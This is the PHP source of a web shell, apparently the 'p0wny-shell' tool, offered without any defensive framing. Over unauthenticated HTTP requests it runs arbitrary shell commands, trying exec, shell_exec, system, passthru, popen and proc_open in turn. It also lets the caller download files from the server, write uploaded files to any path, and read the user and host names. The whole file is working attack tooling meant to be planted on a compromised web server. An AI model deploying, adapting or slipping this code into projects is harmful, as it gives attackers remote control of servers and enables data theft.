1<?php
2
3class P0wnyShell
4{
5
6    protected $logo = <<<LOGO
7X        ___                         ____      _          _ _        _  _
8 _ __  / _ \__      ___ __  _   _  / __ \ ___| |__   ___| | |_ /\/|| || |_
9| '_ \| | | \ \ /\ / / '_ \| | | |/ / _` / __| '_ \ / _ \ | (_)/\/_  ..  _|
10| |_) | |_| |\ V  V /| | | | |_| | | (_| \__ \ | | |  __/ | |_   |_      _|
11| .__/ \___/  \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_)    |_||_|
12|_|                         |___/  \____/X
13LOGO;
14
15
16    /**
17     * Ask the shell to expand the given path
18     *
19     * @param string $path
20     * @return string
21     */
22    protected function expandPath($path)
23    {
24        if (preg_match("#^(~[a-zA-Z0-9_.-]*)(/.*)?$#", $path, $match)) {
25            exec("echo $match[1]", $stdout);
26            return $stdout[0] . $match[2];
27        }
28        return $path;
29    }
30
31    /**
32     * Check that all given functions exist
33     *
34     * @param string[] $list
35     * @return bool
36     */
37    protected function allFunctionExist($list = [])
38    {
39        foreach ($list as $entry) {
40            if (!function_exists($entry)) {
41                return false;
42            }
43        }
44        return true;
45    }
46
47    /**
48     * Try to pass the given command to the shell and execute it
49     *
50     * Tries multiple ways to execute the command
51     * @param string $cmd The command to execute
52     * @return string The output
53     */
54    protected function executeCommand($cmd)
55    {
56        $output = '';
57        if (function_exists('exec')) {
58            exec($cmd, $output);
59            $output = implode("\n", (array)$output);
60        } else if (function_exists('shell_exec')) {
61            $output = shell_exec($cmd);
62        } else if ($this->allFunctionExist(['system', 'ob_start', 'ob_get_contents', 'ob_end_clean'])) {
63            ob_start();
64            system($cmd);
65            $output = ob_get_contents();
66            ob_end_clean();
67        } else if ($this->allFunctionExist(['passthru', 'ob_start', 'ob_get_contents', 'ob_end_clean'])) {
68            ob_start();
69            passthru($cmd);
70            $output = ob_get_contents();
71            ob_end_clean();
72        } else if ($this->allFunctionExist(['popen', 'feof', 'fread', 'pclose'])) {
73            $handle = popen($cmd, 'r');
74            while (!feof($handle)) {
75                $output .= fread($handle, 4096);
76            }
77            pclose($handle);
78        } else if ($this->allFunctionExist(['proc_open', 'stream_get_contents', 'proc_close'])) {
79            $handle = proc_open($cmd, [0 => ['pipe', 'r'], 1 => ['pipe', 'w']], $pipes);
80            $output = stream_get_contents($pipes[1]);
81            proc_close($handle);
82        }
83        return $output;
84    }
85
86    /**
87     * Is this running on a windows system?
88     *
89     * @return bool
90     */
91    protected function isRunningWindows()
92    {
93        return stripos(PHP_OS, "WIN") === 0;
94    }
95
96    /**
97     * Execute the given command
98     *
99     * @param string $cmd The command to execute
100     * @param string $cwd The current working directory
101     * @return array
102     */
103    public function featureShell($cmd, $cwd)
104    {
105        $stdout = "";
106
107        if (preg_match("/^\s*cd\s*(2>&1)?$/", $cmd)) {
108            chdir($this->expandPath("~"));
109        } elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) {
110            chdir($cwd);
111            preg_match("/^\s*cd\s+(\S+)\s*(2>&1)?$/", $cmd, $match);
112            chdir($this->expandPath($match[1]));
113        } elseif (preg_match("/^\s*download\s+\S+\s*(2>&1)?$/", $cmd)) {
114            chdir($cwd);
115            preg_match("/^\s*download\s+(\S+)\s*(2>&1)?$/", $cmd, $match);
116            return $this->featureDownload($match[1]);
117        } else {
118            chdir($cwd);
119            $stdout = $this->executeCommand($cmd);
120        }
121
122        return array(
123            "stdout" => base64_encode($stdout),
124            "cwd" => base64_encode(getcwd())
125        );
126    }
127
128    /**
129     * Get the current working directory
130     *
131     * @return array
132     */
133    public function featurePwd()
134    {
135        return array("cwd" => base64_encode(getcwd()));
136    }
137
138    /**
139     * Create autocompletion hints
140     *
141     * @param string $fileName The part to complete
142     * @param string $cwd The current working directory
143     * @param string $type The type of completion (cmd or file)
144     * @return array
145     */
146    public function featureHint($fileName, $cwd, $type)
147    {
148        chdir($cwd);
149        if ($type == 'cmd') {
150            $cmd = "compgen -c $fileName";
151        } else {
152            $cmd = "compgen -f $fileName";
153        }
154        $cmd = "/bin/bash -c \"$cmd\"";
155        $files = explode("\n", shell_exec($cmd));
156        foreach ($files as &$filename) {
157            $filename = base64_encode($filename);
158        }
159        return array(
160            'files' => $files,
161        );
162    }
163
164    /**
165     * Pass a file to the browser for download
166     *
167     * @param $filePath
168     * @return array
169     */
170    public function featureDownload($filePath)
171    {
172        $file = @file_get_contents($filePath);
173        if ($file === FALSE) {
174            return array(
175                'stdout' => base64_encode('File not found / no read permission.'),
176                'cwd' => base64_encode(getcwd())
177            );
178        } else {
179            return array(
180                'name' => base64_encode(basename($filePath)),
181                'file' => base64_encode($file)
182            );
183        }
184    }
185
186    /**
187     * Save the given file to the given path
188     *
189     * @param string $path File to write, may be relative to the current working directory
190     * @param string $file Base64 encoded file contents
191     * @param string $cwd current working directory
192     * @return array
193     */
194    public function featureUpload($path, $file, $cwd)
195    {
196        chdir($cwd);
197        $f = @fopen($path, 'wb');
198        if ($f === FALSE) {
199            return array(
200                'stdout' => base64_encode('Invalid path / no write permission.'),
201                'cwd' => base64_encode(getcwd())
202            );
203        } else {
204            fwrite($f, base64_decode($file));
205            fclose($f);
206            return array(
207                'stdout' => base64_encode('Done.'),
208                'cwd' => base64_encode(getcwd())
209            );
210        }
211    }
212
213    /**
214     * Get the current user and host
215     *
216     * @return array
217     */
218    public function featureUserHost($cwd)
219    {
220        chdir($cwd);
221        $result = [
222            'username' => '',
223            'hostname' => '',
224            'cwd' => base64_encode(getcwd())
225        ];
226
227        if ($this->isRunningWindows()) {
228            $username = getenv('USERNAME');
229            if ($username !== false) {
230                $result['username'] = base64_encode($username);
231            }
232        } else {
233            $pwuid = posix_getpwuid(posix_geteuid());
234            if ($pwuid !== false) {
235                $result['username'] = base64_encode($pwuid['name']);
236            }
237        }
238
239        $hostname = gethostname();
240        if ($hostname !== false) {
241            $result['hostname'] = base64_encode($hostname);
242        }
243
244        return $result;
245    }
246
247    /**
248     * Output some minimal HTML to load the shell
249     *
250     * @return void
251     */
252    public function html()
253    {
254        $logo = trim(trim($this->logo, " \n"), "X");
255
256        echo <<<HTML
257<!DOCTYPE html>
258<html lang="en">
259<head>
260    <meta charset="UTF-8" />
261    <title>p0wny@shell:~#</title>
262    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
263    <style>
264        body, html {
265            margin: 0;
266            padding: 0;
267            height: 100vh;
268            width: 100vw;
269        }
270    </style>
271</head>
272<body>
273    <p0wny-shell>$logo</p0wny-shell>
274</body>
275<script src="P0wnyShell.js"></script>
276</html>
277HTML;
278    }
279
280    /**
281     * Execute the feature given in the GET parameter
282     *
283     * @return void
284     */
285    public function execute()
286    {
287        if (!isset($_GET["feature"])) die('no feature');
288
289        $response = NULL;
290        switch ($_GET["feature"]) {
291            case "shell":
292                $cmd = $_POST['cmd'];
293                if (!preg_match('/2>/', $cmd)) {
294                    $cmd .= ' 2>&1';
295                }
296                $response = $this->featureShell($cmd, $_POST["cwd"]);
297                break;
298            case "pwd":
299                $response = $this->featurePwd();
300                break;
301            case "hint":
302                $response = $this->featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);
303                break;
304            case 'upload':
305                $response = $this->featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);
306                break;
307            case 'userhost':
308                $response = $this->featureUserHost($_POST['cwd']);
309                break;
310        }
311
312        header("Content-Type: application/json");
313        echo json_encode($response);
314        exit();
315    }
316}
317